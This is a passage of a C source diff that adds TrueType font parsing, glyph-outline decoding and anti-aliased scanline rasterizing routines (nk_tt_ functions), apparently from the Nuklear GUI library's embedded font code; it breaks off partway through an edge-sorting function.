+NK_INTERN int +nk_tt_InitFont(struct nk_tt_fontinfo *info, const unsigned char *data2, int fontstart) +{ + nk_uint cmap, t; + nk_int i,numTables; + const nk_byte *data = (const nk_byte *) data2; + + info->data = data; + info->fontstart = fontstart; + + cmap = nk_tt__find_table(data, (nk_uint)fontstart, "cmap"); /* required */ + info->loca = (int)nk_tt__find_table(data, (nk_uint)fontstart, "loca"); /* required */ + info->head = (int)nk_tt__find_table(data, (nk_uint)fontstart, "head"); /* required */ + info->glyf = (int)nk_tt__find_table(data, (nk_uint)fontstart, "glyf"); /* required */ + info->hhea = (int)nk_tt__find_table(data, (nk_uint)fontstart, "hhea"); /* required */ + info->hmtx = (int)nk_tt__find_table(data, (nk_uint)fontstart, "hmtx"); /* required */ + info->kern = (int)nk_tt__find_table(data, (nk_uint)fontstart, "kern"); /* not required */ + if (!cmap || !info->loca || !info->head || !info->glyf || !info->hhea || !info->hmtx) + return 0; + + t = nk_tt__find_table(data, (nk_uint)fontstart, "maxp"); + if (t) info->numGlyphs = nk_ttUSHORT(data+t+4); + else info->numGlyphs = 0xffff; + + /* find a cmap encoding table we understand *now* to avoid searching */ + /* later. (todo: could make this installable) */ + /* the same regardless of glyph. */ + numTables = nk_ttUSHORT(data + cmap + 2); + info->index_map = 0; + for (i=0; i < numTables; ++i) + { + nk_uint encoding_record = cmap + 4 + 8 * (nk_uint)i; + /* find an encoding we understand: */ + switch(nk_ttUSHORT(data+encoding_record)) { + case NK_TT_PLATFORM_ID_MICROSOFT: + switch (nk_ttUSHORT(data+encoding_record+2)) { + case NK_TT_MS_EID_UNICODE_BMP: + case NK_TT_MS_EID_UNICODE_FULL: + /* MS/Unicode */ + info->index_map = (int)(cmap + nk_ttULONG(data+encoding_record+4)); + break; + default: break; + } break; + case NK_TT_PLATFORM_ID_UNICODE: + /* Mac/iOS has these */ + /* all the encodingIDs are unicode, so we don't bother to check it */ + info->index_map = (int)(cmap + nk_ttULONG(data+encoding_record+4)); + break; + default: break; + } + } + if (info->index_map == 0) + return 0; + info->indexToLocFormat = nk_ttUSHORT(data+info->head + 50); + return 1; +} +NK_INTERN int +nk_tt_FindGlyphIndex(const struct nk_tt_fontinfo *info, int unicode_codepoint) +{ + const nk_byte *data = info->data; + nk_uint index_map = (nk_uint)info->index_map; + + nk_ushort format = nk_ttUSHORT(data + index_map + 0); + if (format == 0) { /* apple byte encoding */ + nk_int bytes = nk_ttUSHORT(data + index_map + 2); + if (unicode_codepoint < bytes-6) + return nk_ttBYTE(data + index_map + 6 + unicode_codepoint); + return 0; + } else if (format == 6) { + nk_uint first = nk_ttUSHORT(data + index_map + 6); + nk_uint count = nk_ttUSHORT(data + index_map + 8); + if ((nk_uint) unicode_codepoint >= first && (nk_uint) unicode_codepoint < first+count) + return nk_ttUSHORT(data + index_map + 10 + (unicode_codepoint - (int)first)*2); + return 0; + } else if (format == 2) { + NK_ASSERT(0); /* @TODO: high-byte mapping for japanese/chinese/korean */ + return 0; + } else if (format == 4) { /* standard mapping for windows fonts: binary search collection of ranges */ + nk_ushort segcount = nk_ttUSHORT(data+index_map+6) >> 1; + nk_ushort searchRange = nk_ttUSHORT(data+index_map+8) >> 1; + nk_ushort entrySelector = nk_ttUSHORT(data+index_map+10); + nk_ushort rangeShift = nk_ttUSHORT(data+index_map+12) >> 1; + + /* do a binary search of the segments */ + nk_uint endCount = index_map + 14; + nk_uint search = endCount; + + if (unicode_codepoint > 0xffff) + return 0; + + /* they lie from endCount .. endCount + segCount */ + /* but searchRange is the nearest power of two, so... */ + if (unicode_codepoint >= nk_ttUSHORT(data + search + rangeShift*2)) + search += (nk_uint)(rangeShift*2); + + /* now decrement to bias correctly to find smallest */ + search -= 2; + while (entrySelector) { + nk_ushort end; + searchRange >>= 1; + end = nk_ttUSHORT(data + search + searchRange*2); + if (unicode_codepoint > end) + search += (nk_uint)(searchRange*2); + --entrySelector; + } + search += 2; + + { + nk_ushort offset, start; + nk_ushort item = (nk_ushort) ((search - endCount) >> 1); + + NK_ASSERT(unicode_codepoint <= nk_ttUSHORT(data + endCount + 2*item)); + start = nk_ttUSHORT(data + index_map + 14 + segcount*2 + 2 + 2*item); + if (unicode_codepoint < start) + return 0; + + offset = nk_ttUSHORT(data + index_map + 14 + segcount*6 + 2 + 2*item); + if (offset == 0) + return (nk_ushort) (unicode_codepoint + nk_ttSHORT(data + index_map + 14 + segcount*4 + 2 + 2*item)); + + return nk_ttUSHORT(data + offset + (unicode_codepoint-start)*2 + index_map + 14 + segcount*6 + 2 + 2*item); + } + } else if (format == 12 || format == 13) { + nk_uint ngroups = nk_ttULONG(data+index_map+12); + nk_int low,high; + low = 0; high = (nk_int)ngroups; + /* Binary search the right group. */ + while (low < high) { + nk_int mid = low + ((high-low) >> 1); /* rounds down, so low <= mid < high */ + nk_uint start_char = nk_ttULONG(data+index_map+16+mid*12); + nk_uint end_char = nk_ttULONG(data+index_map+16+mid*12+4); + if ((nk_uint) unicode_codepoint < start_char) + high = mid; + else if ((nk_uint) unicode_codepoint > end_char) + low = mid+1; + else { + nk_uint start_glyph = nk_ttULONG(data+index_map+16+mid*12+8); + if (format == 12) + return (int)start_glyph + (int)unicode_codepoint - (int)start_char; + else /* format == 13 */ + return (int)start_glyph; + } + } + return 0; /* not found */ + } + /* @TODO */ + NK_ASSERT(0); + return 0; +} +NK_INTERN void +nk_tt_setvertex(struct nk_tt_vertex *v, nk_byte type, nk_int x, nk_int y, nk_int cx, nk_int cy) +{ + v->type = type; + v->x = (nk_short) x; + v->y = (nk_short) y; + v->cx = (nk_short) cx; + v->cy = (nk_short) cy; +} +NK_INTERN int +nk_tt__GetGlyfOffset(const struct nk_tt_fontinfo *info, int glyph_index) +{ + int g1,g2; + if (glyph_index >= info->numGlyphs) return -1; /* glyph index out of range */ + if (info->indexToLocFormat >= 2) return -1; /* unknown index->glyph map format */ + + if (info->indexToLocFormat == 0) { + g1 = info->glyf + nk_ttUSHORT(info->data + info->loca + glyph_index * 2) * 2; + g2 = info->glyf + nk_ttUSHORT(info->data + info->loca + glyph_index * 2 + 2) * 2; + } else { + g1 = info->glyf + (int)nk_ttULONG (info->data + info->loca + glyph_index * 4); + g2 = info->glyf + (int)nk_ttULONG (info->data + info->loca + glyph_index * 4 + 4); + } + return g1==g2 ? -1 : g1; /* if length is 0, return -1 */ +} +NK_INTERN int +nk_tt_GetGlyphBox(const struct nk_tt_fontinfo *info, int glyph_index, + int *x0, int *y0, int *x1, int *y1) +{ + int g = nk_tt__GetGlyfOffset(info, glyph_index); + if (g < 0) return 0; + + if (x0) *x0 = nk_ttSHORT(info->data + g + 2); + if (y0) *y0 = nk_ttSHORT(info->data + g + 4); + if (x1) *x1 = nk_ttSHORT(info->data + g + 6); + if (y1) *y1 = nk_ttSHORT(info->data + g + 8); + return 1; +} +NK_INTERN int +nk_tt__close_shape(struct nk_tt_vertex *vertices, int num_vertices, int was_off, + int start_off, nk_int sx, nk_int sy, nk_int scx, nk_int scy, nk_int cx, nk_int cy) +{ + if (start_off) { + if (was_off) + nk_tt_setvertex(&vertices[num_vertices++], NK_TT_vcurve, (cx+scx)>>1, (cy+scy)>>1, cx,cy); + nk_tt_setvertex(&vertices[num_vertices++], NK_TT_vcurve, sx,sy,scx,scy); + } else { + if (was_off) + nk_tt_setvertex(&vertices[num_vertices++], NK_TT_vcurve,sx,sy,cx,cy); + else + nk_tt_setvertex(&vertices[num_vertices++], NK_TT_vline,sx,sy,0,0); + } + return num_vertices; +} +NK_INTERN int +nk_tt_GetGlyphShape(const struct nk_tt_fontinfo *info, struct nk_allocator *alloc, + int glyph_index, struct nk_tt_vertex **pvertices) +{ + nk_short numberOfContours; + const nk_byte *endPtsOfContours; + const nk_byte *data = info->data; + struct nk_tt_vertex *vertices=0; + int num_vertices=0; + int g = nk_tt__GetGlyfOffset(info, glyph_index); + *pvertices = 0; + + if (g < 0) return 0; + numberOfContours = nk_ttSHORT(data + g); + if (numberOfContours > 0) { + nk_byte flags=0,flagcount; + nk_int ins, i,j=0,m,n, next_move, was_off=0, off, start_off=0; + nk_int x,y,cx,cy,sx,sy, scx,scy; + const nk_byte *points; + endPtsOfContours = (data + g + 10); + ins = nk_ttUSHORT(data + g + 10 + numberOfContours * 2); + points = data + g + 10 + numberOfContours * 2 + 2 + ins; + + n = 1+nk_ttUSHORT(endPtsOfContours + numberOfContours*2-2); + m = n + 2*numberOfContours; /* a loose bound on how many vertices we might need */ + vertices = (struct nk_tt_vertex *)alloc->alloc(alloc->userdata, 0, (nk_size)m * sizeof(vertices[0])); + if (vertices == 0) + return 0; + + next_move = 0; + flagcount=0; + + /* in first pass, we load uninterpreted data into the allocated array */ + /* above, shifted to the end of the array so we won't overwrite it when */ + /* we create our final data starting from the front */ + off = m - n; /* starting offset for uninterpreted data, regardless of how m ends up being calculated */ + + /* first load flags */ + for (i=0; i < n; ++i) { + if (flagcount == 0) { + flags = *points++; + if (flags & 8) + flagcount = *points++; + } else --flagcount; + vertices[off+i].type = flags; + } + + /* now load x coordinates */ + x=0; + for (i=0; i < n; ++i) { + flags = vertices[off+i].type; + if (flags & 2) { + nk_short dx = *points++; + x += (flags & 16) ? dx : -dx; /* ??? */ + } else { + if (!(flags & 16)) { + x = x + (nk_short) (points[0]*256 + points[1]); + points += 2; + } + } + vertices[off+i].x = (nk_short) x; + } + + /* now load y coordinates */ + y=0; + for (i=0; i < n; ++i) { + flags = vertices[off+i].type; + if (flags & 4) { + nk_short dy = *points++; + y += (flags & 32) ? dy : -dy; /* ??? */ + } else { + if (!(flags & 32)) { + y = y + (nk_short) (points[0]*256 + points[1]); + points += 2; + } + } + vertices[off+i].y = (nk_short) y; + } + + /* now convert them to our format */ + num_vertices=0; + sx = sy = cx = cy = scx = scy = 0; + for (i=0; i < n; ++i) + { + flags = vertices[off+i].type; + x = (nk_short) vertices[off+i].x; + y = (nk_short) vertices[off+i].y; + + if (next_move == i) { + if (i != 0) + num_vertices = nk_tt__close_shape(vertices, num_vertices, was_off, start_off, sx,sy,scx,scy,cx,cy); + + /* now start the new one */ + start_off = !(flags & 1); + if (start_off) { + /* if we start off with an off-curve point, then when we need to find a point on the curve */ + /* where we can start, and we need to save some state for when we wraparound. */ + scx = x; + scy = y; + if (!(vertices[off+i+1].type & 1)) { + /* next point is also a curve point, so interpolate an on-point curve */ + sx = (x + (nk_int) vertices[off+i+1].x) >> 1; + sy = (y + (nk_int) vertices[off+i+1].y) >> 1; + } else { + /* otherwise just use the next point as our start point */ + sx = (nk_int) vertices[off+i+1].x; + sy = (nk_int) vertices[off+i+1].y; + ++i; /* we're using point i+1 as the starting point, so skip it */ + } + } else { + sx = x; + sy = y; + } + nk_tt_setvertex(&vertices[num_vertices++], NK_TT_vmove,sx,sy,0,0); + was_off = 0; + next_move = 1 + nk_ttUSHORT(endPtsOfContours+j*2); + ++j; + } else { + if (!(flags & 1)) + { /* if it's a curve */ + if (was_off) /* two off-curve control points in a row means interpolate an on-curve midpoint */ + nk_tt_setvertex(&vertices[num_vertices++], NK_TT_vcurve, (cx+x)>>1, (cy+y)>>1, cx, cy); + cx = x; + cy = y; + was_off = 1; + } else { + if (was_off) + nk_tt_setvertex(&vertices[num_vertices++], NK_TT_vcurve, x,y, cx, cy); + else nk_tt_setvertex(&vertices[num_vertices++], NK_TT_vline, x,y,0,0); + was_off = 0; + } + } + } + num_vertices = nk_tt__close_shape(vertices, num_vertices, was_off, start_off, sx,sy,scx,scy,cx,cy); + } else if (numberOfContours == -1) { + /* Compound shapes. */ + int more = 1; + const nk_byte *comp = data + g + 10; + num_vertices = 0; + vertices = 0; + + while (more) + { + nk_ushort flags, gidx; + int comp_num_verts = 0, i; + struct nk_tt_vertex *comp_verts = 0, *tmp = 0; + float mtx[6] = {1,0,0,1,0,0}, m, n; + + flags = (nk_ushort)nk_ttSHORT(comp); comp+=2; + gidx = (nk_ushort)nk_ttSHORT(comp); comp+=2; + + if (flags & 2) { /* XY values */ + if (flags & 1) { /* shorts */ + mtx[4] = nk_ttSHORT(comp); comp+=2; + mtx[5] = nk_ttSHORT(comp); comp+=2; + } else { + mtx[4] = nk_ttCHAR(comp); comp+=1; + mtx[5] = nk_ttCHAR(comp); comp+=1; + } + } else { + /* @TODO handle matching point */ + NK_ASSERT(0); + } + if (flags & (1<<3)) { /* WE_HAVE_A_SCALE */ + mtx[0] = mtx[3] = nk_ttSHORT(comp)/16384.0f; comp+=2; + mtx[1] = mtx[2] = 0; + } else if (flags & (1<<6)) { /* WE_HAVE_AN_X_AND_YSCALE */ + mtx[0] = nk_ttSHORT(comp)/16384.0f; comp+=2; + mtx[1] = mtx[2] = 0; + mtx[3] = nk_ttSHORT(comp)/16384.0f; comp+=2; + } else if (flags & (1<<7)) { /* WE_HAVE_A_TWO_BY_TWO */ + mtx[0] = nk_ttSHORT(comp)/16384.0f; comp+=2; + mtx[1] = nk_ttSHORT(comp)/16384.0f; comp+=2; + mtx[2] = nk_ttSHORT(comp)/16384.0f; comp+=2; + mtx[3] = nk_ttSHORT(comp)/16384.0f; comp+=2; + } + + /* Find transformation scales. */ + m = (float) NK_SQRT(mtx[0]*mtx[0] + mtx[1]*mtx[1]); + n = (float) NK_SQRT(mtx[2]*mtx[2] + mtx[3]*mtx[3]); + + /* Get indexed glyph. */ + comp_num_verts = nk_tt_GetGlyphShape(info, alloc, gidx, &comp_verts); + if (comp_num_verts > 0) + { + /* Transform vertices. */ + for (i = 0; i < comp_num_verts; ++i) { + struct nk_tt_vertex* v = &comp_verts[i]; + short x,y; + x=v->x; y=v->y; + v->x = (short)(m * (mtx[0]*x + mtx[2]*y + mtx[4])); + v->y = (short)(n * (mtx[1]*x + mtx[3]*y + mtx[5])); + x=v->cx; y=v->cy; + v->cx = (short)(m * (mtx[0]*x + mtx[2]*y + mtx[4])); + v->cy = (short)(n * (mtx[1]*x + mtx[3]*y + mtx[5])); + } + /* Append vertices. */ + tmp = (struct nk_tt_vertex*)alloc->alloc(alloc->userdata, 0, + (nk_size)(num_vertices+comp_num_verts)*sizeof(struct nk_tt_vertex)); + if (!tmp) { + if (vertices) alloc->free(alloc->userdata, vertices); + if (comp_verts) alloc->free(alloc->userdata, comp_verts); + return 0; + } + if (num_vertices > 0) NK_MEMCPY(tmp, vertices, (nk_size)num_vertices*sizeof(struct nk_tt_vertex)); + NK_MEMCPY(tmp+num_vertices, comp_verts, (nk_size)comp_num_verts*sizeof(struct nk_tt_vertex)); + if (vertices) alloc->free(alloc->userdata,vertices); + vertices = tmp; + alloc->free(alloc->userdata,comp_verts); + num_vertices += comp_num_verts; + } + /* More components ? */ + more = flags & (1<<5); + } + } else if (numberOfContours < 0) { + /* @TODO other compound variations? */ + NK_ASSERT(0); + } else { + /* numberOfCounters == 0, do nothing */ + } + *pvertices = vertices; + return num_vertices; +} +NK_INTERN void +nk_tt_GetGlyphHMetrics(const struct nk_tt_fontinfo *info, int glyph_index, + int *advanceWidth, int *leftSideBearing) +{ + nk_ushort numOfLongHorMetrics = nk_ttUSHORT(info->data+info->hhea + 34); + if (glyph_index < numOfLongHorMetrics) { + if (advanceWidth) + *advanceWidth = nk_ttSHORT(info->data + info->hmtx + 4*glyph_index); + if (leftSideBearing) + *leftSideBearing = nk_ttSHORT(info->data + info->hmtx + 4*glyph_index + 2); + } else { + if (advanceWidth) + *advanceWidth = nk_ttSHORT(info->data + info->hmtx + 4*(numOfLongHorMetrics-1)); + if (leftSideBearing) + *leftSideBearing = nk_ttSHORT(info->data + info->hmtx + 4*numOfLongHorMetrics + 2*(glyph_index - numOfLongHorMetrics)); + } +} +NK_INTERN void +nk_tt_GetFontVMetrics(const struct nk_tt_fontinfo *info, + int *ascent, int *descent, int *lineGap) +{ + if (ascent ) *ascent = nk_ttSHORT(info->data+info->hhea + 4); + if (descent) *descent = nk_ttSHORT(info->data+info->hhea + 6); + if (lineGap) *lineGap = nk_ttSHORT(info->data+info->hhea + 8); +} +NK_INTERN float +nk_tt_ScaleForPixelHeight(const struct nk_tt_fontinfo *info, float height) +{ + int fheight = nk_ttSHORT(info->data + info->hhea + 4) - nk_ttSHORT(info->data + info->hhea + 6); + return (float) height / (float)fheight; +} +NK_INTERN float +nk_tt_ScaleForMappingEmToPixels(const struct nk_tt_fontinfo *info, float pixels) +{ + int unitsPerEm = nk_ttUSHORT(info->data + info->head + 18); + return pixels / (float)unitsPerEm; +} + +/*------------------------------------------------------------- + * antialiasing software rasterizer + * --------------------------------------------------------------*/ +NK_INTERN void +nk_tt_GetGlyphBitmapBoxSubpixel(const struct nk_tt_fontinfo *font, + int glyph, float scale_x, float scale_y,float shift_x, float shift_y, + int *ix0, int *iy0, int *ix1, int *iy1) +{ + int x0,y0,x1,y1; + if (!nk_tt_GetGlyphBox(font, glyph, &x0,&y0,&x1,&y1)) { + /* e.g. space character */ + if (ix0) *ix0 = 0; + if (iy0) *iy0 = 0; + if (ix1) *ix1 = 0; + if (iy1) *iy1 = 0; + } else { + /* move to integral bboxes (treating pixels as little squares, what pixels get touched)? */ + if (ix0) *ix0 = nk_ifloorf((float)x0 * scale_x + shift_x); + if (iy0) *iy0 = nk_ifloorf((float)-y1 * scale_y + shift_y); + if (ix1) *ix1 = nk_iceilf ((float)x1 * scale_x + shift_x); + if (iy1) *iy1 = nk_iceilf ((float)-y0 * scale_y + shift_y); + } +} +NK_INTERN void +nk_tt_GetGlyphBitmapBox(const struct nk_tt_fontinfo *font, int glyph, + float scale_x, float scale_y, int *ix0, int *iy0, int *ix1, int *iy1) +{ + nk_tt_GetGlyphBitmapBoxSubpixel(font, glyph, scale_x, scale_y,0.0f,0.0f, ix0, iy0, ix1, iy1); +} + +/*------------------------------------------------------------- + * Rasterizer + * --------------------------------------------------------------*/ +NK_INTERN void* +nk_tt__hheap_alloc(struct nk_tt__hheap *hh, nk_size size) +{ + if (hh->first_free) { + void *p = hh->first_free; + hh->first_free = * (void **) p; + return p; + } else { + if (hh->num_remaining_in_head_chunk == 0) { + int count = (size < 32 ? 2000 : size < 128 ? 800 : 100); + struct nk_tt__hheap_chunk *c = (struct nk_tt__hheap_chunk *) + hh->alloc.alloc(hh->alloc.userdata, 0, + sizeof(struct nk_tt__hheap_chunk) + size * (nk_size)count); + if (c == 0) return 0; + c->next = hh->head; + hh->head = c; + hh->num_remaining_in_head_chunk = count; + } + --hh->num_remaining_in_head_chunk; + return (char *) (hh->head) + size * (nk_size)hh->num_remaining_in_head_chunk; + } +} +NK_INTERN void +nk_tt__hheap_free(struct nk_tt__hheap *hh, void *p) +{ + *(void **) p = hh->first_free; + hh->first_free = p; +} +NK_INTERN void +nk_tt__hheap_cleanup(struct nk_tt__hheap *hh) +{ + struct nk_tt__hheap_chunk *c = hh->head; + while (c) { + struct nk_tt__hheap_chunk *n = c->next; + hh->alloc.free(hh->alloc.userdata, c); + c = n; + } +} +NK_INTERN struct nk_tt__active_edge* +nk_tt__new_active(struct nk_tt__hheap *hh, struct nk_tt__edge *e, + int off_x, float start_point) +{ + struct nk_tt__active_edge *z = (struct nk_tt__active_edge *) + nk_tt__hheap_alloc(hh, sizeof(*z)); + float dxdy = (e->x1 - e->x0) / (e->y1 - e->y0); + /*STBTT_assert(e->y0 <= start_point); */ + if (!z) return z; + z->fdx = dxdy; + z->fdy = (dxdy != 0) ? (1/dxdy): 0; + z->fx = e->x0 + dxdy * (start_point - e->y0); + z->fx -= (float)off_x; + z->direction = e->invert ? 1.0f : -1.0f; + z->sy = e->y0; + z->ey = e->y1; + z->next = 0; + return z; +} +NK_INTERN void +nk_tt__handle_clipped_edge(float *scanline, int x, struct nk_tt__active_edge *e, + float x0, float y0, float x1, float y1) +{ + if (y0 == y1) return; + NK_ASSERT(y0 < y1); + NK_ASSERT(e->sy <= e->ey); + if (y0 > e->ey) return; + if (y1 < e->sy) return; + if (y0 < e->sy) { + x0 += (x1-x0) * (e->sy - y0) / (y1-y0); + y0 = e->sy; + } + if (y1 > e->ey) { + x1 += (x1-x0) * (e->ey - y1) / (y1-y0); + y1 = e->ey; + } + + if (x0 == x) NK_ASSERT(x1 <= x+1); + else if (x0 == x+1) NK_ASSERT(x1 >= x); + else if (x0 <= x) NK_ASSERT(x1 <= x); + else if (x0 >= x+1) NK_ASSERT(x1 >= x+1); + else NK_ASSERT(x1 >= x && x1 <= x+1); + + if (x0 <= x && x1 <= x) + scanline[x] += e->direction * (y1-y0); + else if (x0 >= x+1 && x1 >= x+1); + else { + NK_ASSERT(x0 >= x && x0 <= x+1 && x1 >= x && x1 <= x+1); + /* coverage = 1 - average x position */ + scanline[x] += (float)e->direction * (float)(y1-y0) * (1.0f-((x0-(float)x)+(x1-(float)x))/2.0f); + } +} +NK_INTERN void +nk_tt__fill_active_edges_new(float *scanline, float *scanline_fill, int len, + struct nk_tt__active_edge *e, float y_top) +{ + float y_bottom = y_top+1; + while (e) + { + /* brute force every pixel */ + /* compute intersection points with top & bottom */ + NK_ASSERT(e->ey >= y_top); + if (e->fdx == 0) { + float x0 = e->fx; + if (x0 < len) { + if (x0 >= 0) { + nk_tt__handle_clipped_edge(scanline,(int) x0,e, x0,y_top, x0,y_bottom); + nk_tt__handle_clipped_edge(scanline_fill-1,(int) x0+1,e, x0,y_top, x0,y_bottom); + } else { + nk_tt__handle_clipped_edge(scanline_fill-1,0,e, x0,y_top, x0,y_bottom); + } + } + } else { + float x0 = e->fx; + float dx = e->fdx; + float xb = x0 + dx; + float x_top, x_bottom; + float y0,y1; + float dy = e->fdy; + NK_ASSERT(e->sy <= y_bottom && e->ey >= y_top); + + /* compute endpoints of line segment clipped to this scanline (if the */ + /* line segment starts on this scanline. x0 is the intersection of the */ + /* line with y_top, but that may be off the line segment. */ + if (e->sy > y_top) { + x_top = x0 + dx * (e->sy - y_top); + y0 = e->sy; + } else { + x_top = x0; + y0 = y_top; + } + + if (e->ey < y_bottom) { + x_bottom = x0 + dx * (e->ey - y_top); + y1 = e->ey; + } else { + x_bottom = xb; + y1 = y_bottom; + } + + if (x_top >= 0 && x_bottom >= 0 && x_top < len && x_bottom < len) + { + /* from here on, we don't have to range check x values */ + if ((int) x_top == (int) x_bottom) { + float height; + /* simple case, only spans one pixel */ + int x = (int) x_top; + height = y1 - y0; + NK_ASSERT(x >= 0 && x < len); + scanline[x] += e->direction * (1.0f-(((float)x_top - (float)x) + ((float)x_bottom-(float)x))/2.0f) * (float)height; + scanline_fill[x] += e->direction * (float)height; /* everything right of this pixel is filled */ + } else { + int x,x1,x2; + float y_crossing, step, sign, area; + /* covers 2+ pixels */ + if (x_top > x_bottom) + { + /* flip scanline vertically; signed area is the same */ + float t; + y0 = y_bottom - (y0 - y_top); + y1 = y_bottom - (y1 - y_top); + t = y0; y0 = y1; y1 = t; + t = x_bottom; x_bottom = x_top; x_top = t; + dx = -dx; + dy = -dy; + t = x0; x0 = xb; xb = t; + } + + x1 = (int) x_top; + x2 = (int) x_bottom; + /* compute intersection with y axis at x1+1 */ + y_crossing = ((float)x1+1 - (float)x0) * (float)dy + (float)y_top; + + sign = e->direction; + /* area of the rectangle covered from y0..y_crossing */ + area = sign * (y_crossing-y0); + /* area of the triangle (x_top,y0), (x+1,y0), (x+1,y_crossing) */ + scanline[x1] += area * (1.0f-((float)((float)x_top - (float)x1)+(float)(x1+1-x1))/2.0f); + + step = sign * dy; + for (x = x1+1; x < x2; ++x) { + scanline[x] += area + step/2; + area += step; + } + y_crossing += (float)dy * (float)(x2 - (x1+1)); + + scanline[x2] += area + sign * (1.0f-((float)(x2-x2)+((float)x_bottom-(float)x2))/2.0f) * (y1-y_crossing); + scanline_fill[x2] += sign * (y1-y0); + } + } + else + { + /* if edge goes outside of box we're drawing, we require */ + /* clipping logic. since this does not match the intended use */ + /* of this library, we use a different, very slow brute */ + /* force implementation */ + int x; + for (x=0; x < len; ++x) + { + /* cases: */ + /* */ + /* there can be up to two intersections with the pixel. any intersection */ + /* with left or right edges can be handled by splitting into two (or three) */ + /* regions. intersections with top & bottom do not necessitate case-wise logic. */ + /* */ + /* the old way of doing this found the intersections with the left & right edges, */ + /* then used some simple logic to produce up to three segments in sorted order */ + /* from top-to-bottom. however, this had a problem: if an x edge was epsilon */ + /* across the x border, then the corresponding y position might not be distinct */ + /* from the other y segment, and it might ignored as an empty segment. to avoid */ + /* that, we need to explicitly produce segments based on x positions. */ + + /* rename variables to clear pairs */ + float ya = y_top; + float x1 = (float) (x); + float x2 = (float) (x+1); + float x3 = xb; + float y3 = y_bottom; + float yb,y2; + + yb = ((float)x - x0) / dx + y_top; + y2 = ((float)x+1 - x0) / dx + y_top; + + if (x0 < x1 && x3 > x2) { /* three segments descending down-right */ + nk_tt__handle_clipped_edge(scanline,x,e, x0,ya, x1,yb); + nk_tt__handle_clipped_edge(scanline,x,e, x1,yb, x2,y2); + nk_tt__handle_clipped_edge(scanline,x,e, x2,y2, x3,y3); + } else if (x3 < x1 && x0 > x2) { /* three segments descending down-left */ + nk_tt__handle_clipped_edge(scanline,x,e, x0,ya, x2,y2); + nk_tt__handle_clipped_edge(scanline,x,e, x2,y2, x1,yb); + nk_tt__handle_clipped_edge(scanline,x,e, x1,yb, x3,y3); + } else if (x0 < x1 && x3 > x1) { /* two segments across x, down-right */ + nk_tt__handle_clipped_edge(scanline,x,e, x0,ya, x1,yb); + nk_tt__handle_clipped_edge(scanline,x,e, x1,yb, x3,y3); + } else if (x3 < x1 && x0 > x1) { /* two segments across x, down-left */ + nk_tt__handle_clipped_edge(scanline,x,e, x0,ya, x1,yb); + nk_tt__handle_clipped_edge(scanline,x,e, x1,yb, x3,y3); + } else if (x0 < x2 && x3 > x2) { /* two segments across x+1, down-right */ + nk_tt__handle_clipped_edge(scanline,x,e, x0,ya, x2,y2); + nk_tt__handle_clipped_edge(scanline,x,e, x2,y2, x3,y3); + } else if (x3 < x2 && x0 > x2) { /* two segments across x+1, down-left */ + nk_tt__handle_clipped_edge(scanline,x,e, x0,ya, x2,y2); + nk_tt__handle_clipped_edge(scanline,x,e, x2,y2, x3,y3); + } else { /* one segment */ + nk_tt__handle_clipped_edge(scanline,x,e, x0,ya, x3,y3); + } + } + } + } + e = e->next; + } +} +NK_INTERN void +nk_tt__rasterize_sorted_edges(struct nk_tt__bitmap *result, struct nk_tt__edge *e, + int n, int vsubsample, int off_x, int off_y, struct nk_allocator *alloc) +{ + /* directly AA rasterize edges w/o supersampling */ + struct nk_tt__hheap hh; + struct nk_tt__active_edge *active = 0; + int y,j=0, i; + float scanline_data[129], *scanline, *scanline2; + + NK_UNUSED(vsubsample); + nk_zero_struct(hh); + hh.alloc = *alloc; + + if (result->w > 64) + scanline = (float *) alloc->alloc(alloc->userdata,0, (nk_size)(result->w*2+1) * sizeof(float)); + else scanline = scanline_data; + + scanline2 = scanline + result->w; + y = off_y; + e[n].y0 = (float) (off_y + result->h) + 1; + + while (j < result->h) + { + /* find center of pixel for this scanline */ + float scan_y_top = (float)y + 0.0f; + float scan_y_bottom = (float)y + 1.0f; + struct nk_tt__active_edge **step = &active; + + NK_MEMSET(scanline , 0, (nk_size)result->w*sizeof(scanline[0])); + NK_MEMSET(scanline2, 0, (nk_size)(result->w+1)*sizeof(scanline[0])); + + /* update all active edges; */ + /* remove all active edges that terminate before the top of this scanline */ + while (*step) { + struct nk_tt__active_edge * z = *step; + if (z->ey <= scan_y_top) { + *step = z->next; /* delete from list */ + NK_ASSERT(z->direction); + z->direction = 0; + nk_tt__hheap_free(&hh, z); + } else { + step = &((*step)->next); /* advance through list */ + } + } + + /* insert all edges that start before the bottom of this scanline */ + while (e->y0 <= scan_y_bottom) { + if (e->y0 != e->y1) { + struct nk_tt__active_edge *z = nk_tt__new_active(&hh, e, off_x, scan_y_top); + if (z != 0) { + NK_ASSERT(z->ey >= scan_y_top); + /* insert at front */ + z->next = active; + active = z; + } + } + ++e; + } + + /* now process all active edges */ + if (active) + nk_tt__fill_active_edges_new(scanline, scanline2+1, result->w, active, scan_y_top); + + { + float sum = 0; + for (i=0; i < result->w; ++i) { + float k; + int m; + sum += scanline2[i]; + k = scanline[i] + sum; + k = (float) NK_ABS(k) * 255.0f + 0.5f; + m = (int) k; + if (m > 255) m = 255; + result->pixels[j*result->stride + i] = (unsigned char) m; + } + } + /* advance all the edges */ + step = &active; + while (*step) { + struct nk_tt__active_edge *z = *step; + z->fx += z->fdx; /* advance to position for current scanline */ + step = &((*step)->next); /* advance through list */ + } + ++y; + ++j; + } + nk_tt__hheap_cleanup(&hh); + if (scanline != scanline_data) + alloc->free(alloc->userdata, scanline); +} +NK_INTERN void +nk_tt__sort_edges_ins_sort(struct nk_tt__edge *p, int n) +{ + int i,j; + #define NK_TT__COMPARE(a,b) ((a)->y0 < (b)->y0) + for (i=1; i < n; ++i) { + struct nk_tt__edge t = p[i], *a = &t; + j = i; + while (j > 0) { + struct nk_tt__edge *b = &p[j-1]; + int c = NK_TT__COMPARE(a,b); + if (!c) break; + p[j] = p[j-1]; + --j; + } + if (i != j) + p[j] = t; + } +} +NK_INTERN void +nk_tt__sort_edges_quicksort(struct nk_tt__edge *p, int n) +{ + /* threshold for transitioning to insertion sort */ + while (n > 12) { + struct nk_tt__edge t; + int c01,c12,c,m,i,j; + + /* compute median of three */ + m = n >> 1; + c01 = NK_TT__COMPARE(&p[0],&p[m]); + c12 = NK_TT__COMPARE(&p[m],&p[n-1]); + + /* if 0 >= mid >= end, or 0 < mid < end, then use mid */ + if (c01 != c12) { + /* otherwise, we'll need to swap something else to middle */ + int z; + c = NK_TT__COMPARE(&p[0],&p[n-1]); + /* 0>mid && midn => n; 0 0 */ + /* 0n: 0>n => 0; 0 n */ + z = (c == c12) ? 0 : n-1; + t = p[z]; + p[z] = p[m]; + p[m] = t; + } + + /* now p[m] is the median-of-three */ + 